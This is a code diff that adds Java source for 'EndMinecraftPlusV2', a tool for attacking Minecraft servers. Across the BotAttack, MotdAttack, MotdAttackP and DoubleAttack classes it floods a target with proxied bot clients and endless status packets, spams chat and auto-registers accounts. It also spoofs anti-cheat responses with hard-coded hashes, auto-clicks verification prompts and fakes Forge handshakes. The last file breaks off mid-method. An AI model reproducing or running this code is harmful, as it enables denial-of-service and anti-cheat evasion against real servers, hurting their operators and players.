src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/ACProtocol/AntiCheat3.java

@@ -0,0 +1,81 @@
+package cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ACProtocol;
+
+import java.io.*;
+import java.math.BigInteger;
+import java.security.MessageDigest;
+import java.security.NoSuchAlgorithmException;
+import java.util.zip.GZIPInputStream;
+import java.util.zip.GZIPOutputStream;
+
+public class AntiCheat3 {
+
+    public byte[] getCheckData(String acFile, String code, String[] md5List) {
+        try {
+            byte[] buf1 = code.substring(0, 30).getBytes();
+
+            FileInputStream in = new FileInputStream(new File("lib", acFile));
+            byte[] buf2 = new byte[in.available()];
+            in.read(buf2);
+
+            byte[] buf3 = new byte[buf1.length + buf2.length];
+            System.arraycopy(buf1, 0, buf3, 0, buf1.length);
+            System.arraycopy(buf2, 0, buf3, buf1.length, buf2.length);
+
+            try {
+                in.close();
+            } catch (IOException e2) {
+            }
+
+            String result = "";
+            if (md5List != null) {
+                for (String md5 : md5List) {
+                    result += md5 + ",";
+                }
+            }
+            result += md5(buf3);
+            return compress(result);
+        } catch (IOException e) {
+            e.printStackTrace();
+            return null;
+        }
+    }
+
+    public byte[] compress(String str) {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        GZIPOutputStream gzip;
+        try {
+            gzip = new GZIPOutputStream(out);
+            gzip.write(str.getBytes());
+            gzip.close();
+        } catch (IOException e) {
+        }
+        return out.toByteArray();
+    }
+
+    public String uncompress(byte[] data) {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        ByteArrayInputStream in = new ByteArrayInputStream(data);
+        try {
+            GZIPInputStream ungzip = new GZIPInputStream(in);
+            byte[] buffer = new byte[256];
+            int n;
+            while ((n = ungzip.read(buffer)) >= 0) {
+                out.write(buffer, 0, n);
+            }
+        } catch (IOException e) {
+        }
+
+        return new String(out.toByteArray());
+    }
+
+    public String md5(byte[] buf) {
+        try {
+            MessageDigest md = MessageDigest.getInstance("MD5");
+            md.update(buf);
+            byte[] digest = md.digest();
+            return String.format("%0" + (digest.length << 1) + "x", new BigInteger(1, digest));
+        } catch (NoSuchAlgorithmException e) {
+            return null;
+        }
+    }
+}

src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/AttackUtils/Methods/BotAttack.java

@@ -0,0 +1,378 @@
+package cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils.Methods;
+
+import cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ACProtocol.AnotherStarAntiCheat;
+import cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ACProtocol.AntiCheat3;
+import cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ForgeProtocol.MCForge;
+import cn.serendipityr.EndMinecraftPlusV2.Tools.*;
+import cn.serendipityr.EndMinecraftPlusV2.VersionControl.AttackManager;
+import io.netty.util.internal.ConcurrentSet;
+import com.github.steveice10.mc.protocol.MinecraftProtocol;
+import com.github.steveice10.mc.protocol.data.message.Message;
+import com.github.steveice10.mc.protocol.packet.ingame.client.ClientChatPacket;
+import com.github.steveice10.mc.protocol.packet.ingame.client.ClientPluginMessagePacket;
+import com.github.steveice10.mc.protocol.packet.ingame.client.player.ClientPlayerMovementPacket;
+import com.github.steveice10.mc.protocol.packet.ingame.server.ServerChatPacket;
+import com.github.steveice10.mc.protocol.packet.ingame.server.ServerJoinGamePacket;
+import com.github.steveice10.mc.protocol.packet.ingame.server.ServerPluginMessagePacket;
+import com.github.steveice10.mc.protocol.packet.ingame.server.entity.player.ServerPlayerPositionRotationPacket;
+import com.github.steveice10.packetlib.Client;
+import com.github.steveice10.packetlib.Session;
+import com.github.steveice10.packetlib.event.session.*;
+import com.github.steveice10.packetlib.packet.Packet;
+import com.github.steveice10.packetlib.tcp.TcpSessionFactory;
+
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.net.InetSocketAddress;
+import java.net.Proxy;
+import java.net.Socket;
+import java.util.*;
+import java.util.concurrent.ExecutorService;
+import java.util.concurrent.Executors;
+
+public class BotAttack extends IAttack {
+    public static HashMap<Client, String> clientName = new HashMap<>();
+    public static int failed = 0;
+    public static int joined = 0;
+    public static int rejoin = 0;
+    public static int clickVerifies = 0;
+    public static List<String> alivePlayers = new ArrayList<>();
+    protected boolean attack_motdbefore;
+    protected boolean attack_tab;
+    protected Map<String, String> modList;
+
+    private Thread mainThread;
+    private Thread tabThread;
+    private Thread taskThread;
+
+    public Set<Client> clients = new ConcurrentSet<>();
+    public ExecutorService pool = Executors.newCachedThreadPool();
+
+    private static final AntiCheat3 ac3 = new AntiCheat3();
+    private static final AnotherStarAntiCheat asac = new AnotherStarAntiCheat();
+
+    private long starttime;
+
+    public BotAttack(String ip, int port, int time, int maxconnect, long joinsleep) {
+        super(ip, port, time, maxconnect, joinsleep);
+    }
+
+    public void setBotConfig(boolean motdbefore, boolean tab, Map<String, String> modList) {
+        this.attack_motdbefore = motdbefore;
+        this.attack_tab = tab;
+        this.modList = modList;
+    }
+
+    public String getRandMessage(String userName) {
+        return ConfigUtil.CustomChat.get(new Random().nextInt(ConfigUtil.CustomChat.size())).replace("$rnd",OtherUtils.getRandomString(4,6).replace("$pwd",DataUtil.botRegPasswordsMap.get(userName)));
+    }
+
+    public void start() {
+        setTask(() -> {
+            while (true) {
+                for (Client c : clients) {
+                    if (c.getSession().isConnected()) {
+                        if (c.getSession().hasFlag("login")) {
+                            if (ConfigUtil.ChatSpam) {
+                                c.getSession().send(new ClientChatPacket(getRandMessage(clientName.get(c))));
+                            }
+
+                            OtherUtils.doSleep(ConfigUtil.ChatDelay);
+                        } else if (c.getSession().hasFlag("join")) {
+                            if (ConfigUtil.RegisterAndLogin) {
+                                for (String cmd:ConfigUtil.RegisterCommands) {
+                                    c.getSession().send(new ClientChatPacket(cmd.replace("$pwd",DataUtil.botRegPasswordsMap.get(clientName.get(c)))));
+                                    OtherUtils.doSleep(ConfigUtil.ChatDelay);
+                                }
+                            }
+
+                            c.getSession().setFlag("login", true);
+                        }
+                    }
+                }
+                OtherUtils.doSleep(5 * 1000);
+            }
+        });
+
+        this.starttime = System.currentTimeMillis();
+
+        mainThread = new Thread(() -> {
+            while (true) {
+                try {
+                    cleanClients();
+                    createClients(ip, port);
+                    OtherUtils.doSleep(10 * 1000);
+
+                    if (this.attack_time > 0 && (System.currentTimeMillis() - this.starttime) / 1000 > this.attack_time) {
+                        for (Client c : clients) {
+                            c.getSession().disconnect("");
+                        }
+                        stop();
+                        return;
+                    }
+                    LogUtil.doLog(0, "当前连接数: " + clients.size() + "个", "BotAttack");
+                } catch (Exception e) {
+                    LogUtil.doLog(1, "发生错误: " + e, null);
+                }
+            }
+        });
+
+        if (this.attack_tab) {
+            tabThread = new Thread(() -> {
+                while (true) {
+                    SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - BotAttack | 当前连接数: " + clients.size() + "个 | 失败次数: " + failed + "次 | 成功加入: " + joined + "次 | 当前存活: " + alivePlayers.size() + "个 | 点击验证: " + clickVerifies + "次 | 重进尝试: " + rejoin);
+
+                    for (Client c : clients) {
+                        if (c.getSession().isConnected() && c.getSession().hasFlag("join")) {
+                            MultiVersionPacket.sendTabPacket(c.getSession(), "/");
+                        }
+                    }
+
+                    OtherUtils.doSleep(10);
+                }
+            });
+        }
+
+        mainThread.start();
+        if (tabThread != null)
+            tabThread.start();
+        if (taskThread != null)
+            taskThread.start();
+    }
+
+    @SuppressWarnings("deprecation")
+    public void stop() {
+        mainThread.stop();
+        if (tabThread != null)
+            tabThread.stop();
+        if (taskThread != null)
+            taskThread.stop();
+    }
+
+    public void setTask(Runnable task) {
+        taskThread = new Thread(task);
+    }
+
+    private void cleanClients() {
+        clients.removeIf(c -> !c.getSession().isConnected());
+    }
+
+    private void createClients(final String ip, int port) {
+        Proxy.Type proxyType;
+        switch (ConfigUtil.ProxyType) {
+            case 2:
+                proxyType = Proxy.Type.SOCKS;
+                break;
+            case 1:
+            default:
+                proxyType = Proxy.Type.HTTP;
+                break;
+        }
+
+        for (String p: ProxyUtil.proxies) {
+            try {
+                String[] _p = p.split(":");
+                Proxy proxy = new Proxy(proxyType, new InetSocketAddress(_p[0], Integer.parseInt(_p[1])));
+                String[] User = AttackManager.getRandomUser().split("@");
+                Client client = createClient(ip, port, User[0], proxy);
+                client.getSession().setReadTimeout(Math.toIntExact(ConfigUtil.ConnectDelay));
+                client.getSession().setWriteTimeout(Math.toIntExact(ConfigUtil.ConnectDelay));
+                clientName.put(client, User[0]);
+                clients.add(client);
+                ProxyUtil.clientsProxy.put(client.getSession(), proxy);
+
+                if (this.attack_motdbefore) {
+                    pool.submit(() -> {
+                        getMotd(proxy, ip, port);
+                        client.getSession().connect(false);
+                    });
+                } else {
+                    client.getSession().connect(false);
+                }
+
+                if (this.attack_maxconnect > 0 && (clients.size() > this.attack_maxconnect))
+                    return;
+                if (this.attack_joinsleep > 0)
+                    OtherUtils.doSleep(attack_joinsleep);
+            } catch (Exception e) {
+                LogUtil.doLog(1, "发生错误: " + e, null);
+            }
+        }
+    }
+
+    public Client createClient(final String ip, int port, final String username, Proxy proxy) {
+        Client client = new Client(ip, port, new MinecraftProtocol(username), new TcpSessionFactory(proxy));
+        new MCForge(client.getSession(), this.modList).init();
+
+        client.getSession().addListener(new SessionListener() {
+            public void packetReceived(PacketReceivedEvent e) {
+                handlePacket(e.getSession(), e.getPacket(), username);
+            }
+
+            public void packetSending(PacketSendingEvent packetSendingEvent) {
+
+            }
+
+            public void packetSent(PacketSentEvent e) {
+            }
+
+            public void connected(ConnectedEvent e) {
+            }
+
+            public void disconnecting(DisconnectingEvent e) {
+            }
+
+            public void disconnected(DisconnectedEvent e) {
+                String msg;
+
+                if (e.getCause() == null) {
+                    msg = e.getReason();
+                    LogUtil.doLog(0,"[假人断开连接] [" + username + "] " + msg, "BotAttack");
+
+                    if (ConfigUtil.SaveWorkingProxy) {
+                        ProxyUtil.saveWorkingProxy(proxy);
+                    }
+
+                    for (String rejoinDetect:ConfigUtil.RejoinDetect) {
+                        if (msg.contains(rejoinDetect)) {
+                            for (int i = 0; i < ConfigUtil.RejoinCount; i++) {
+                                Client rejoinClient = createClient(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, username, proxy);
+                                rejoinClient.getSession().setReadTimeout(Math.toIntExact(ConfigUtil.RejoinDelay));
+                                rejoinClient.getSession().setWriteTimeout(Math.toIntExact(ConfigUtil.RejoinDelay));
+
+                                rejoin++;
+                                LogUtil.doLog(0,"[假人尝试重连] [" + username + "] [" + proxy + "]", "BotAttack");
+                                clientName.put(rejoinClient, username);
+                                clients.add(rejoinClient);
+                                rejoinClient.getSession().connect(false);
+
+                                OtherUtils.doSleep(ConfigUtil.RejoinDelay);
+
+                                if (rejoinClient.getSession().hasFlag("join") || rejoinClient.getSession().hasFlag("login")) {
+                                    break;
+                                }
+                            }
+                        }
+                    }
+                } else if (ConfigUtil.ShowFails) {
+                    msg = e.getCause().getMessage();
+                    LogUtil.doLog(0,"[假人断开连接] [" + username + "] " + msg, "BotAttack");
+                }
+
+                failed++;
+                alivePlayers.remove(username);
+
+                client.getSession().disconnect("");
+                clients.remove(client);
+            }
+        });
+        return client;
+    }
+
+    public void getMotd(Proxy proxy, String ip, int port) {
+        try {
+            Socket socket = new Socket(proxy);
+            socket.connect(new InetSocketAddress(ip, port));
+            if (socket.isConnected()) {
+                OutputStream out = socket.getOutputStream();
+                InputStream in = socket.getInputStream();
+                out.write(new byte[]{0x07, 0x00, 0x05, 0x01, 0x30, 0x63, (byte) 0xDD, 0x01});
+                out.write(new byte[]{0x01, 0x00});
+                out.flush();
+                in.read();
+
+                try {
+                    in.close();
+                    out.close();
+                    socket.close();
+                } catch (Exception ignored) {}
+
+                return;
+            }
+            socket.close();
+        } catch (Exception ignored) {}
+    }
+
+    protected void handlePacket(Session session, Packet recvPacket, String username) {
+        if (recvPacket instanceof ServerPluginMessagePacket) {
+            ServerPluginMessagePacket packet = (ServerPluginMessagePacket) recvPacket;
+            switch (packet.getChannel()) {
+                case "AntiCheat3.4.3":
+                    String code = ac3.uncompress(packet.getData());
+                    byte[] checkData = ac3.getCheckData("AntiCheat3.jar", code,
+                            new String[]{"44f6bc86a41fa0555784c255e3174260"});
+                    session.send(new ClientPluginMessagePacket("AntiCheat3.4.3", checkData));
+                    break;
+                case "anotherstaranticheat":
+                    String salt = asac.decodeSPacket(packet.getData());
+                    byte[] data = asac.encodeCPacket(new String[]{"4863f8708f0c24517bb5d108d45f3e15"}, salt);
+                    session.send(new ClientPluginMessagePacket("anotherstaranticheat", data));
+                    break;
+                case "VexView":
+                    if (new String(packet.getData()).equals("GET:Verification"))
+                        session.send(new ClientPluginMessagePacket("VexView", "Verification:1.8.10".getBytes()));
+                    break;
+                default:
+            }
+        } else if (recvPacket instanceof ServerJoinGamePacket) {
+            session.setFlag("join", true);
+            LogUtil.doLog(0, "[假人加入服务器] [" + username + "]", "BotAttack");
+            joined++;
+
+            if (ConfigUtil.SaveWorkingProxy) {
+                ProxyUtil.saveWorkingProxy(ProxyUtil.clientsProxy.get(session));
+            }
+
+            if (!alivePlayers.contains(username)) {
+                alivePlayers.add(username);
+            }
+
+            MultiVersionPacket.sendClientSettingPacket(session, "zh_CN");
+            MultiVersionPacket.sendClientPlayerChangeHeldItemPacket(session, 1);
+        } else if (recvPacket instanceof ServerPlayerPositionRotationPacket) {
+            try {
+                ServerPlayerPositionRotationPacket packet = (ServerPlayerPositionRotationPacket) recvPacket;
+                MultiVersionPacket.sendPosPacket(session, packet.getX(), packet.getY(), packet.getZ(), packet.getYaw(), packet.getYaw());
+                session.send(new ClientPlayerMovementPacket(true));
+                MultiVersionPacket.sendClientTeleportConfirmPacket(session, packet);
+            } catch (Exception ignored) {}
+
+        } else if (recvPacket instanceof ServerChatPacket) {
+            ServerChatPacket chatPacket = (ServerChatPacket) recvPacket;
+            clickVerifiesHandle(chatPacket.getMessage(), session, username);
+        }
+    }
+
+    public static void clickVerifiesHandle(Message message, Session session, String username) {
+        boolean needClick = false;
+
+        if (message.getStyle().getClickEvent() != null) {
+            for (String clickVerifiesDetect:ConfigUtil.ClickVerifiesDetect) {
+                if (message.getText().contains(clickVerifiesDetect)) {
+                    needClick = true;
+                    break;
+                }
+            }
+        }
+
+        if (needClick) {
+            LogUtil.doLog(0, "[服务端返回验证信息] [" + username + "] " + message.getStyle().getClickEvent().getValue(), "BotAttack");
+            session.send(new ClientChatPacket(message.getStyle().getClickEvent().getValue()));
+            clickVerifies++;
+        } else {
+            if (!message.getText().equals("")) {
+                LogUtil.doLog(0, "[服务端返回信息] [" + username + "] " + message, "BotAttack");
+            }
+
+            if (!alivePlayers.contains(username)) {
+                alivePlayers.add(username);
+            }
+        }
+
+        if (message.getExtra() != null && !message.getExtra().isEmpty()) {
+            for (Message extraMessage:message.getExtra()) {
+                clickVerifiesHandle(extraMessage, session, username);
+            }
+        }
+    }
+}

src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/AttackUtils/Methods/DoubleAttack.java

@@ -0,0 +1,37 @@
+package cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils.Methods;
+
+import cn.serendipityr.EndMinecraftPlusV2.Tools.SetTitle;
+import com.github.steveice10.mc.protocol.packet.ingame.server.ServerJoinGamePacket;
+import com.github.steveice10.packetlib.Client;
+import com.github.steveice10.packetlib.Session;
+import com.github.steveice10.packetlib.packet.Packet;
+
+import java.net.Proxy;
+
+public class DoubleAttack extends BotAttack {
+    private String username;
+    private Integer totalTimes = 0;
+    private Integer runTimes = 0;
+
+    public DoubleAttack(String ip, int port, int time, int maxconnect, long joinsleep) {
+        super(ip, port, time, maxconnect, joinsleep);
+    }
+
+    public void setUsername(String username) {
+        this.username = username;
+    }
+
+    public Client createClient(String ip, int port, String username, Proxy proxy) {
+        totalTimes++;
+        return super.createClient(ip, port, this.username, proxy);
+    }
+
+    protected void handlePacket(Session session, Packet recvPacket, String username) {
+        super.handlePacket(session, recvPacket, username);
+        if (recvPacket instanceof ServerJoinGamePacket) {
+            session.disconnect("Double Exploit - Connection Reset!");
+            runTimes++;
+            SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - DoubleAttack | 总连接数: " + totalTimes + "次 | 尝试分身: " + runTimes + "次");
+        }
+    }
+}

src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/AttackUtils/Methods/IAttack.java

@@ -0,0 +1,22 @@
+package cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils.Methods;
+
+public abstract class IAttack {
+    public String ip;
+    public int port;
+
+    public int attack_time;
+    public int attack_maxconnect;
+    public long attack_joinsleep;
+
+    public IAttack(String ip, int port, int time, int maxconnect, long joinsleep) {
+        this.ip = ip;
+        this.port = port;
+        this.attack_time = time;
+        this.attack_maxconnect = maxconnect;
+        this.attack_joinsleep = joinsleep;
+    }
+
+    public abstract void start();
+
+    public abstract void stop();
+}

src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/AttackUtils/Methods/MotdAttack.java

@@ -0,0 +1,73 @@
+package cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils.Methods;
+
+import cn.serendipityr.EndMinecraftPlusV2.Tools.LogUtil;
+import cn.serendipityr.EndMinecraftPlusV2.Tools.OtherUtils;
+import cn.serendipityr.EndMinecraftPlusV2.Tools.SetTitle;
+
+import java.io.IOException;
+import java.io.OutputStream;
+import java.net.InetSocketAddress;
+import java.net.Socket;
+import java.util.ArrayList;
+import java.util.List;
+
+public class MotdAttack extends IAttack {
+    public List<Thread> threads = new ArrayList<>();
+    private int runTimes = 0;
+    private int errorTimes = 0;
+    public MotdAttack(String ip, int port, int time, int maxconnect, long joinsleep) {
+        super(ip, port, time, maxconnect, joinsleep);
+    }
+
+    public void start() {
+        Runnable task = () -> {
+            while (true) {
+                try {
+                    Socket socket = new Socket();
+                    socket.connect(new InetSocketAddress(ip, port));
+                    if (socket.isConnected()) {
+                        LogUtil.doLog(0, "正在发送Motd更新数据包...", "MotdAttack#" + Thread.currentThread().getName());
+                        OutputStream out = socket.getOutputStream();
+                        out.write(new byte[] { 0x07, 0x00, 0x05, 0x01, 0x30, 0x63, (byte) 0xDD, 0x01 });
+                        out.flush();
+                        while (socket.isConnected()) {
+                            for (int i = 0; i < 10; i++) {
+                                SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - MotdAttack | 总连接数: " + threads.size() + "个 | 发包次数: " + runTimes + "次 | 错误次数: " + errorTimes);
+                                out.write(new byte[] { 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01,
+                                        0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00 });
+                                runTimes++;
+                            }
+                            out.flush();
+                        }
+                        try {
+                            out.close();
+                            socket.close();
+                        } catch (IOException ignored) {}
+                        LogUtil.doLog(0, "连接已断开。", "MotdAttack#" + Thread.currentThread().getName());
+                        OtherUtils.doSleep(attack_joinsleep);
+                    }
+                } catch (Throwable e) {
+                    LogUtil.doLog(0, "发生错误: " + e, "MotdAttack#" + Thread.currentThread().getName());
+                    errorTimes++;
+                }
+            }
+        };
+
+        if (this.attack_maxconnect < 1) {
+            this.attack_maxconnect = 10;
+        }
+
+        for (int i = 0; i < this.attack_maxconnect; i++) {
+            Thread thread = new Thread(task);
+            thread.setName(String.valueOf(i + 1));
+            thread.start();
+            threads.add(thread);
+        }
+    }
+
+    @SuppressWarnings("deprecation")
+    public void stop() {
+        threads.forEach(Thread::stop);
+    }
+
+}

src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/AttackUtils/Methods/MotdAttackP.java

@@ -0,0 +1,92 @@
+package cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils.Methods;
+
+import cn.serendipityr.EndMinecraftPlusV2.Tools.*;
+
+import java.io.IOException;
+import java.io.OutputStream;
+import java.net.InetSocketAddress;
+import java.net.Proxy;
+import java.net.Socket;
+import java.util.ArrayList;
+import java.util.List;
+
+public class MotdAttackP extends IAttack {
+    public List<Thread> threads = new ArrayList<>();
+    private int runTimes = 0;
+    private int errorTimes = 0;
+
+    public MotdAttackP(String ip, int port, int time, int maxconnect, long joinsleep) {
+        super(ip, port, time, maxconnect, joinsleep);
+    }
+
+    public void start() {
+        Proxy.Type proxyType;
+        switch (ConfigUtil.ProxyType) {
+            case 2:
+                proxyType = Proxy.Type.SOCKS;
+                break;
+            case 1:
+            default:
+                proxyType = Proxy.Type.HTTP;
+                break;
+        }
+
+        for (String p: ProxyUtil.proxies) {
+            try {
+                String[] _p = p.split(":");
+                Proxy proxy = new Proxy(proxyType, new InetSocketAddress(_p[0], Integer.parseInt(_p[1])));
+                Thread thread = createThread(proxy, ip, port);
+                thread.start();
+                threads.add(thread);
+                if (this.attack_maxconnect > 0 && (threads.size() > this.attack_maxconnect))
+                    return;
+            } catch (Exception e) {
+                LogUtil.doLog(1,"发生错误: " + e, null);
+            }
+        }
+    }
+
+    @SuppressWarnings("deprecation")
+    public void stop() {
+        threads.forEach(Thread::stop);
+    }
+
+    public Thread createThread(Proxy proxy, String ip, int port) {
+        Runnable task = () -> {
+            while (true) {
+                try {
+                    Socket socket = new Socket(proxy);
+                    socket.connect(new InetSocketAddress(ip, port));
+                    if (socket.isConnected()) {
+                        LogUtil.doLog(0, "正在发送Motd刷新数据包...", "MotdAttackP#" + Thread.currentThread().getName());
+                        OutputStream out = socket.getOutputStream();
+                        out.write(new byte[]{0x07, 0x00, 0x05, 0x01, 0x30, 0x63, (byte) 0xDD, 0x01});
+                        out.flush();
+                        while (socket.isConnected()) {
+                            for (int i = 0; i < 10; i++) {
+                                SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - MotdAttack | 总连接数: " + threads.size() + "个 | 发包次数: " + runTimes + "次 | 错误次数: " + errorTimes);
+                                out.write(new byte[]{0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01,
+                                        0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00});
+                                runTimes++;
+                            }
+                            out.flush();
+                        }
+                        try {
+                            out.close();
+                            socket.close();
+                        } catch (IOException ignored) {
+                        }
+
+                        LogUtil.doLog(0, "连接已断开。", "MotdAttackP#" + Thread.currentThread().getName());
+                    }
+                } catch (Throwable e) {
+                    LogUtil.doLog(0, "发生错误: " + e, "MotdAttackP#" + Thread.currentThread().getName());
+                    errorTimes++;
+                }
+
+                OtherUtils.doSleep(attack_joinsleep);
+            }
+        };
+        return new Thread(task);
+    }
+}

src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/AttackUtils/Methods/MultiVersionPacket.java

@@ -0,0 +1,94 @@
+package cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils.Methods;
+
+import com.github.steveice10.mc.protocol.packet.ingame.client.ClientSettingsPacket;
+import com.github.steveice10.mc.protocol.packet.ingame.client.ClientTabCompletePacket;
+import com.github.steveice10.mc.protocol.packet.ingame.client.player.ClientPlayerPositionRotationPacket;
+import com.github.steveice10.mc.protocol.packet.ingame.server.entity.player.ServerPlayerPositionRotationPacket;
+import com.github.steveice10.packetlib.Session;
+import com.github.steveice10.packetlib.packet.Packet;
+
+import java.lang.reflect.Array;
+import java.lang.reflect.Constructor;
+import java.lang.reflect.Field;
+
+public class MultiVersionPacket {
+    public static void sendTabPacket(Session session, String text) {
+        try {
+            Class<?> cls = ClientTabCompletePacket.class;
+            Constructor<?> constructor = cls.getDeclaredConstructor();
+            constructor.setAccessible(true);
+            ClientTabCompletePacket packet = (ClientTabCompletePacket) constructor.newInstance();
+            Field field = cls.getDeclaredField("text");
+            field.setAccessible(true);
+            field.set(packet, text);
+            session.send(packet);
+        } catch (Exception ignored) {}
+    }
+
+    public static void sendPosPacket(Session session, double x, double y, double z, float yaw, float pitch) {
+        try {
+            Class<?> cls = ClientPlayerPositionRotationPacket.class;
+            Constructor<?> constructor;
+            ClientPlayerPositionRotationPacket packet;
+            try {
+                constructor = cls.getConstructor(boolean.class, double.class, double.class, double.class, float.class, float.class);
+                packet = (ClientPlayerPositionRotationPacket) constructor.newInstance(true, x, y, z, yaw, pitch);
+            } catch (NoSuchMethodException ex) {
+                constructor = cls.getConstructor(boolean.class, double.class, double.class, double.class, double.class, float.class, float.class);
+                packet = (ClientPlayerPositionRotationPacket) constructor.newInstance(true, x, y - 1.62, y , z, yaw, pitch);
+            }
+            session.send(packet);
+        } catch (Exception ignored) {}
+    }
+
+    public static void sendClientSettingPacket(Session session, String locale) {
+        try {
+            Class<?> cls = ClientSettingsPacket.class;
+            Constructor<?> constructor;
+            ClientSettingsPacket packet;
+            try {
+                Class<?> parm1Class = Class.forName("com.github.steveice10.mc.protocol.data.game.setting.ChatVisibility");
+                Class<?> parm2Class = Class.forName("[Lcom.github.steveice10.mc.protocol.data.game.setting.SkinPart;");
+                Class<?> parm3Class = Class.forName("com.github.steveice10.mc.protocol.data.game.entity.player.Hand");
+
+                Class<?> skinClass = Class.forName("com.github.steveice10.mc.protocol.data.game.setting.SkinPart");
+                Object[] arrSkin = (Object[]) Array.newInstance(skinClass, 1);
+                Array.set(arrSkin, 0, skinClass.getEnumConstants()[0]);
+
+                constructor = cls.getConstructor(String.class, int.class, parm1Class, boolean.class, parm2Class, parm3Class);
+                packet = (ClientSettingsPacket) constructor.newInstance(locale, 10, parm1Class.getEnumConstants()[0], true, arrSkin, parm3Class.getEnumConstants()[0]);
+            } catch (NoSuchMethodException ex) {
+                Class<?> parm1Class = Class.forName("com.github.steveice10.mc.protocol.packet.ingame.client.ClientSettingsPacket.ChatVisibility");
+                Class<?> parm2Class = Class.forName("com.github.steveice10.mc.protocol.packet.ingame.client.ClientSettingsPacket.Difficulty");
+
+                constructor = cls.getConstructor(String.class, int.class, parm1Class, boolean.class, parm2Class, boolean.class);
+                packet = (ClientSettingsPacket) constructor.newInstance(locale, 10, parm1Class.getEnumConstants()[0], true, parm2Class.getEnumConstants()[0], true);
+            }
+            session.send(packet);
+        } catch (Exception ignored) {}
+    }
+
+    public static void sendClientPlayerChangeHeldItemPacket(Session session, int slot) {
+        try {
+            Class<?> cls = Class.forName("com.github.steveice10.mc.protocol.packet.ingame.client.player.ClientPlayerChangeHeldItemPacket");
+            Constructor<?> constructor = cls.getConstructor(int.class);
+            Packet packet = (Packet) constructor.newInstance(slot);
+            session.send(packet);
+        } catch (Exception ignored) {}
+    }
+
+    public static void sendClientTeleportConfirmPacket(Session session, int id) {
+        try {
+            Class<?> cls = Class.forName("com.github.steveice10.mc.protocol.packet.ingame.client.world.ClientTeleportConfirmPacket");
+            Constructor<?> constructor = cls.getConstructor(int.class);
+            Packet packet = (Packet) constructor.newInstance(id);
+            session.send(packet);
+        } catch (Exception ignored) {}
+    }
+
+    public static void sendClientTeleportConfirmPacket(Session session, ServerPlayerPositionRotationPacket packet) {
+        try {
+            sendClientTeleportConfirmPacket(session, (int) ServerPlayerPositionRotationPacket.class.getMethod("getTeleportId").invoke(packet));
+        } catch (Exception ignored) {}
+    }
+}

src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/ForgeProtocol/MCForge.java

@@ -0,0 +1,113 @@
+package cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ForgeProtocol;
+
+import cn.serendipityr.EndMinecraftPlusV2.Tools.LogUtil;
+import com.github.steveice10.mc.protocol.packet.ingame.client.ClientPluginMessagePacket;
+import com.github.steveice10.mc.protocol.packet.ingame.server.ServerPluginMessagePacket;
+import com.github.steveice10.packetlib.Session;
+import com.github.steveice10.packetlib.event.session.*;
+
+import java.lang.reflect.Field;
+import java.util.Map;
+import java.util.Scanner;
+
+public class MCForge {
+    private final MCForgeHandShake handshake;
+
+    public Map<String, String> modList;
+    public Session session;
+
+    public MCForge(Session session, Map<String, String> modList) {
+        this.modList = modList;
+        this.session = session;
+        this.handshake = isAfterVersion1_13() ? new MCForgeHandShakeV2(this) : new MCForgeHandShakeV1(this);
+    }
+
+    public void init() {
+        this.session.addListener(new SessionListener() {
+            public void packetReceived(PacketReceivedEvent e) {
+                if (e.getPacket() instanceof ServerPluginMessagePacket) {
+                    handle(e.getPacket());
+                } else if (e.getPacket().getClass().getSimpleName().equals("LoginPluginRequestPacket")) {
+                    handshake.handle(e.getPacket());
+                }
+            }
+
+            public void packetSending(PacketSendingEvent packetSendingEvent) {
+
+            }
+
+            public void packetSent(PacketSentEvent e) {
+            }
+
+            public void connected(ConnectedEvent e) {
+                modifyHost();
+            }
+
+            public void disconnecting(DisconnectingEvent e) {
+            }
+
+            public void disconnected(DisconnectedEvent e) {
+            }
+        });
+    }
+
+    public void handle(ServerPluginMessagePacket packet) {
+        switch (packet.getChannel()) {
+        case "FML|HS":
+            this.handshake.handle(packet);
+            break;
+        case "REGISTER":
+        case "minecraft:register": // 1.13
+            this.session.send(new ClientPluginMessagePacket(packet.getChannel(), packet.getData()));
+            break;
+        case "MC|Brand":
+        case "minecraft:brand": // 1.13
+            this.session.send(new ClientPluginMessagePacket(packet.getChannel(), "fml,forge".getBytes()));
+            break;
+        }
+    }
+
+    public void modifyHost() {
+        try {
+            Class<?> cls = this.session.getClass().getSuperclass();
+
+            Field field = cls.getDeclaredField("host");
+            field.setAccessible(true);
+
+            field.set(this.session, this.session.getHost() + "\0" + handshake.getFMLVersion() + "\0");
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+    }
+
+    public static boolean isVersion1710() {
